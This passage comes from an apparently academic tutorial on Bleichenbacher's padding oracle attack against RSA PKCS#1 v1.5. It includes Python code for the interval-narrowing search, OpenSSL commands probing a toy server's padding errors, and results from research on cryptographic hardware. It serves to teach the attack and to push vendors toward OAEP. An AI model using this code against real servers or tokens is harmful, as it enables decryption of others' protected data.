for r in range(ceil((B2*s1 - B3 + 1),n),
               floor(((B3-1)*s1 - B2),n) + 1):      <1>
    aa = ceil(B2 + r*n,s1)                          <2>
    bb = floor(B3 - 1 + r*n, s1)                    <2>
    newa = max(B2,aa)                               <3>
    newb = min(B3-1,bb)                             <3>
    if newa <= newb:                                <3>
        newM |= set([ (newa, newb) ])
    print "Value of r:   %i" % r
    print fk % newa
    print fk % newb
```

1. Ranges over all the Possible values of r. Function floor(x,y) is for readability and just returns the integer division x/y;
2. Computes the bounds `aa` and `bb` for the New interval for m_0 corresponding to the actual `r`;
3. Intersects the new bounds with the initial ones and adds the new interval in case the intersection is non-empty (when `newa` ≤ `newb`).

When we run the code we obtain:

```
Value of r:   12
000209ad766e11ef095ea424462610e89cab8a11029f8c41ac225710376edf9ada40f149c3f0af
f7d6ce3b6b5eb182e3710628a7c593152abc0a86fc0ae49bf5a2824a9836c79accf8c18ef29746
e813a8179336152315b2eb69ef2b5b3c0719ae89ccf91850c897e2e478130580f64fe737060190
f8b3da34beee13fa9f1704
000209ada89f4a271483c1f7f7df96c0162a13e11301bd2b7745a49ca121fe5affd94f25be49bd
0f272cf16b83f20a9d094bb4cae37ac680a8367144770d7c4327467e266d3a8b9f94a8a49bdb14
ffcaf5bdde4a30c8fa6eaa6d8d2d6b6dfcb773d264dad8971f116b6e165691ea450c36ec881531
4ba974406059cce72436c6
```

```
Value of r:   13
000235268d445f64484b022eae5fa6ad6acf69451571cfcad89f5164d51a4272662cf5c09535e7
1df0a4f75ef5b58c8221106a053bb8b95ff9aec084f9c62e3d2f41c837dcefbf9048d5d73fedea
7776be7dd2f73cf506b7df3228c3f578b416dc33da12e4f6759049b5e7b403e4d30c8288062917
aa4492b733eff6d2c0d3a4
00023526bf75979c5370200260192c84e44df31525d400b4a3c29ef13ecd61328bc5539c8f8ef4
354103ad5f1af6143bb955f62859a06ab5e5daaacd65ef0e8ab405fbc61362b062e4bcece931b8
8f2e0c241e0b589aeb739e35c6c605aaa9b4a17c71f4a53ccc09d23f85f7904e21c8d23d883cb7
fd3a2cc2d55bafbf45f366
Value of r:   14
0002609fa41aacd98737603916993c7238f3487928441354051c4bb972c5a549f218fa37667b1e
...
```

We can see the New intervals for m_0 computed from value r = 12 and r = 13 (we omitted the other four). Notice that all the interval bounds start with `0x0002`.

We end up with 6 new intervals for the value of m_0 which replace the initial one [2B,3B-1]. We have reduced the possible candidates for the plaintext.

Iterating the search

The above idea can be generalized to any starting interval for m_0. This allows for iterating the method until we find just one value. We let [a,b] note a possible interval for m_0 and s_i note the value of s computed at step i. The formula for computing the New intervals for m_0 is modified by simply replacing s_1 with s_i:

New intervals for m_0 at step i

$$(2B + rn) / s_i \leq m_0 \leq (3B - 1 + rn) / s_i$$

We also derive new Possible values of r by replacing $2Bs_1$ with as_1 and $(3B-1)s_i$ with bs_i.

Possible values of r from interval [a,b]

$$(as_i - 3B + 1) / n \leq r \leq (bs_i - 2B) / n$$

The computed new intervals for m_0 are intersected with the interval [a,b]. It is enough to modify the code for Narrowing the interval as follows:

Narrowing a generic interval

```
...
for (a,b) in M: # for all intervals
    for r in range(ceil((a*si - B3 + 1),n),
                   floor((b*si - B2),n) + 1):
        aa = ceil(B2 + r*n,si)
        bb = floor(B3 - 1 + r*n, si)
        newa = max(a,aa)
        newb = min(b,bb)
 ...
```

For next steps we simply go on searching for increasing values of s_i. In general, at step i we search for s_i starting from $s_{i-1} + 1$. However, when there is only one possible interval [a,b] for m_0 it is done an important optimization that makes the attack converge very fast. We describe it below.

Binary search with just one residual interval

From the formula for New intervals for m_0 at step i we directly derive

$(2B + rn) / m_0 \leq s_i \leq (3B - 1 + rn) / m_0$

Since m_0 is in [a,b] (we only have one possible interval) we obtain

Limiting the search space for s_i

$(2B + rn) / b \leq s_i \leq (3B - 1 + rn) / a$

if we pick $r \geq 2(bs_{i-1} - 2B) / n$, we obtain

$(2B + 2(bs_{i-1} - 2B)) / b = 2s_{i-1} \leq s_i$

Thus the new s_i is at least twice the one of the previous step. Notice that all the New intervals for m_0 at step i have size B/s_i. As a consequence, doubling s_{i-1} gives an interval which is half the size of the one of the previous step. This resembles the binary search we implemented with the parity side-channel and makes the attack converge in a number of steps that is linear in the number of bits.

Example run in Python

The above idea can be implemented as follows:

“Binary search” with just one interval [a,b]

```
r = ceil((b*si - B2)*2,n) # starting value for r
i2c,nr = 0,1    # for statistics
found = False
while not found:
    for si in range(ceil((B2 + r * n),b),floor((B3-1 + r * n),a)+1):
        mi = (si * m0) % n
        i2c += 1
        if sO(mi):
            found = True
            break # we found si
    if not found:
        r  += 1   # try next value for r
        nr += 1
print "[*] Search done in %i iterations" % (i2c)
print "    explored values of r:  %i" % nr
print "    s_%i:                   %i" % (iter,si)
```

In our example values s_2 and s_3 are searched sequentially as there are many possible intervals for m_0. As mentioned above, in this case we start the search for s_i starting from value $s_{i-1} + 1$ and we proceed as in Searching for s_1. After step 3 we have just one interval and we can run the above code, giving:

```
[*] Search done in 12 iterations
    explored values of r:  9
    s_4:                   1309178
[*] Search done in 14 iterations
    explored values of r:  9
    s_5:                   2869048
[*] Search done in 2 iterations
    explored values of r:  1
    s_6:                   5765950

...

[*] Search done in 13 iterations
    explored values of r:  11
    s_992:                 39194973493069321561018698433680532513473899078124
    77840761694309968354900185163383810300733272814834019489438471427677673372
    39867302759371814586903868567598738810853630717131391742733164079659829538
    88671044507818269496637733251291292577226498022255943581635459914944809318
```

```
      71850366903034757901819198895486
```

> The search is repeated 989 times taking 6252 oracle calls (iterations) for an average of only 6 calls for each found si. From the numbers above it is possible to see how s_i approximatively doubles at each search (halving the found interval) and how little iterations are necessary to find a suitable s_i. This part, in fact, converges very fast.
>
> When the interval contains only one value, i.e., when `a = b`, we stop the search and output `a`. The attack for this plaintext takes 516575 oracle calls, most of which for the first three steps, when more than one interval for m_0 is possible.

Breaking unpadded ciphertexts

So far we have assumed that m_0 is padded according to PKCS#1 v1.5. We have mentioned that the attacks also work without this assumption. This is done through a preliminary *blinding step* in which we multiply the initial ciphertext y=E(m) by the encryption of random values s_0, until the padding oracle returns true. We let $m_0 = ms_0 \bmod n$, for the found s_0 and we run the attack. When the attack finds m_0 we need a way to compute m. This is possible as s_0 will always admit an inverse modulo n, unless we have been so lucky to have s_0 equal to one of the two primes p,q factoring n, which happens with negligible probability (and would break RSA anyway). In practice s_0 will always be prime with n and we can apply, for example, the extended Euclidean algorithm to compute s_0^{-1}. Once we have this value we compute $m = m_0 s_0^{-1} \bmod n$.

Blinding step

1. search for a random s_0 such that $O(yE(s_0) \bmod n)$ or, equivalently, $sO(ms_0 \bmod n)$;
2. run the attack and find $m_0 = ms_0 \bmod n$;
3. compute $m = m_0 s_0^{-1} \bmod n$.

6. Practical attacks on cryptographic hardware

In a paper that will appear this August at CRYPTO 2012 [BFKSST12], we have studied optimizations of Bleichenbacher's attack that make it very effective even on relatively slow hardware such as smartcards and USB crypto tokens. We briefly revise these improvements.

Optimizations

The first idea is to multiply m_0 by fractions instead of integers. It is possible to prove (Proposition 1 in [BFKSST12]) that given two integers t and u such that $t \le 2^{12}$ and $2/3 < u/t < 3/2$, if $m_0 ut^{-1} \bmod n$ is conforming to PKCS#1 v1.5 padding then

$2B \cdot t/u \le m_0 < 3B \cdot t/u$

This can be used to *trim* the initial bound [2B,3B-1]. We proceed by looking for as many fractions as possible. We follow some heuristics described in the paper to increase the probability of success without trying all possible fractions. In particular for $t \le 50$ we try all suitable values of u. For $t > 50$ we just try (t-1)/t and (t+1)/t. Once we have a list of fractions that multiplied by m_0 give a PKCS#1 v1.5 padded plaintext, we compute the lowest common multiple t' of all the denominators and we take the highest and lowest numerators u_h and u_l that give a valid padding. We finally trim the interval to

$2B \cdot t'/u_l \le m_0 < 3B \cdot t'/u_h$

Once we have trimmed the initial interval we can further improve the search for s_1 similarly to what we did for Limiting the search space for s_i. In this way we skip values of s_1 that can never give a correctly padded message. More detail can be found in the paper where we also consider other optimizations previously proposed in literature.

Results: good and bad oracles

These new optimizations combined with other proposed in the literature allows to carry out the attack in a mean of 49000 and median of 14500 oracle calls in the case of cracking an unknown correctly padded ciphertext under a 1024 bit key. The Bleichenbacher algorithm takes a mean of 215000 and a median of 163000 in the same case.

Interestingly, certain devices admit an attack that requires only 9400 operations on average with a median of 3800. This is possible when the device gives separate error messages depending on the specific padding error, as we have seen with OpenSSL. For example, if we have e specific error for a `0x00` in the first 8 bytes of the random padding (e.g., the OpenSSL 'bad pad byte count' above) but we know that this is checked *after* the first two bytes `0x00 0x02`, then we can still accept as valid the ciphertext when we get such an error since we know that the corresponding plaintext is in the interval [2B,3B-1].

Example 3. The eggs farm as a fast padding oracle

> The eggs farm has released a version of their e-commerce server that, unfortunately, leaks OpenSSL errors.
>
> ```
> $ perl -e 'print "\x00\x02" . "\x01"x124 . "\x00\x10" ' \
>    | openssl rsautl -encrypt -inkey key -raw | ./fPEEGs
> OK
>
> $ perl -e 'print "\x00\x03" . "\x01"x124 . "\x00\x10" ' \
>    | openssl rsautl -encrypt -inkey key -raw | ./fPEEGs
> RSA operation error
> block type is not 02:/SourceCache/OpenSSL098/OpenSSL098-44/src/crypto/rsa/rsa_pk1.c:190:
> Sorry, cannot decrypt your order.
>
> $ perl -e 'print "\x00\x02" . "\x00" . "\x01"x123 . "\x00\x10" ' \
>    | openssl rsautl -encrypt -inkey key -raw | ./fPEEGs
> RSA operation error
> bad pad byte count:/SourceCache/OpenSSL098/OpenSSL098-44/src/crypto/rsa/rsa_pk1.c:210:
> Sorry, cannot decrypt your order.
> ```
>
> When we insert a `0x03` byte instead of `0x02` we get a *block type is not 02* (and we get the same error when the first byte is not `0x00`). When, instead, we insert a `0x00` byte in the first 8-bytes random padding we get a *bad pad byte count*.
>
> The padding oracle can be defined to return true only in case we get a *block type is not 02* error. This speeds-up a lot the search as we get true even when the padded message contains a `0x00` in the first 8 random bytes or does not have the required `0x00` separator.
>
> We show the improvement on the search for s_1 in our running example. With the fast oracle, it takes 8936 iterations instead of 315339.
>
> ```
> [-] Starting search for s1 (from value 18921)
> [*] Search done in 8936 iterations
>     s1: 27856
> ```

In the paper, we also discuss *bad oracles* that make the attack slower. Some devices, for example, perform extra checks on the length of the plaintext (for example when decrypting a key) and they do not return a specific error message for that case. Thus, we might have a message which is padded correctly but whose plaintext is of a wrong length. In this case, it becomes less likely to get a message which is accepted as valid from the device. For a length of 128 bits (e.g. an AES key) we have measured a median of 12 million calls which is yet feasible in a few hours on fast commercially available devices.

Example 4. The eggs farm with a maximum amount of eggs: an extremely slow oracle

The eggs farm now disallows orders of more than 1024 eggs. When such orders are placed the error message is the generic *Sorry, cannot decrypt your order*.

```
$ perl -e 'print "\x00\x02" . "\x01"x123 . "\x00\x04\x00" ' \
  | openssl rsautl -encrypt -inkey key -raw | ./sPEEGs
OK

$ perl -e 'print "\x00\x02" . "\x01"x123 . "\x00\x04\x01" ' \
  | openssl rsautl -encrypt -inkey key -raw | ./sPEEGs
Sorry, cannot decrypt your order.
```

In the latter order we ask for 1025 eggs (`0x401`) and we get a decryption error. This makes the attack really slow as the probability of getting OK decreases a lot: we need to get a correctly padded message that additionally contains a number which is less than 1024.

Let us run one more time the search for s1:

```
[-] Starting search for s1 (from value 18921)
[*] Search done in 30732808 iterations
    s1: 30751728
```

This is *really* slow! Even worst, it finds 541 subintervals which further decrease the performance of next steps. This example is extremely unfortunate as 1024 is quite a small set of good values for the payload.

We summarize the results about the above described good and bad oracles:

Oracle	Original attack		Optimized attack	
	Mean	**Median**	**Mean**	**Median**
Standard	215 982	163 183	49 001	14 501
Good	38 625	22 641	9 374	3 768
Bad	-	-	18 040 221	12 525 835

Depending on the specific padding errors there might exist other ‘intermediate’ variants of padding oracles. These are discussed in the paper [BFKSST12] where we also report the list of the analysed devices with details about their padding oracles.

At the time of writing, a nice write-up of the paper by Matthew Green and an interesting post by Nate Lawson are available on-line.

7. Summary

We have revised attacks on RSA which are based on side-channels that leak partial information about the plaintext. In particular, we have illustrated that PKCS#1 v1.5 padding is vulnerable to a powerful attack that discloses the plaintext once the (in)correctness of padding is notified to the users. In a recent paper, we have shown that these attacks are effective on real, commercially available devices. We recommend manufacturers and software developers to take these attacks very seriously as they can break the security of the system.

PKCS#11, the standard API for cryptographic devices, still includes PKCS#1 v1.5 as a possible padding scheme, while it has been suggested long ago to switch to OAEP padding for new applications and never allow the two schemes to be used on the same key, as in the case of RSA SecureID. We hope that our results will convince editors to reconsider the inclusion of PKCS#1 v1.5 in the new version of PKCS#11.

8. References

- [B98] D. Bleichenbacher. Chosen ciphertext attacks against protocols based on the RSA encryption standard. *In Advances in Cryptology: Proceedings of CRYPTO'98*, volume 1462 of LNCS, pages 1–12, 1998.
- [BCFS10] M. Bortolozzo, M. Centenaro, R. Focardi, and G. Steel. Attacking and fixing PKCS#11 security tokens. In *Proceedings of the 17th ACM Conference on Computer and Communications Security* (CCS'10), Chicago, Illinois, USA, October 2010. ACM Press.
- [BFKSST12] R. Bardou, R. Focardi, Y. Kawamoto, L. Simionato, G. Steel and J. Tsay. Efficient Padding Oracle Attacks on Cryptographic Hardware. *To appear in CRYPTO'12*, August 2012.
- [C03] J. Clulow. On the security of PKCS#11. In *5th International Workshop on Cryptographic Hardware and Embedded Systems* (CHES 2003), pages 411–425, 2003.
- [DKS08] S. Delaune, S. Kremer, and G. Steel. Formal analysis of PKCS#11. In *Proceedings of the 21st IEEE Computer Security Foundations Symposium* (CSF'08), pages 331–344, Pittsburgh, PA, USA, June 2008. IEEE Computer Society Press.
- [FL12] R. Focardi, F.L. Luccio. Guessing Bank PINs by Winning a Mastermind Game. *Theory of Computing Systems*, vol. 50 (1); p. 52-71.
- [S06] Douglas Stinson. *Cryptography, Theory and Practice*. Chapman & Hall/CRC Press. Third edition, 2006.

[1]. OpenSSL provides an individual manpage for each command. For example, `man genrsa` shows the manpage of `genrsa` command.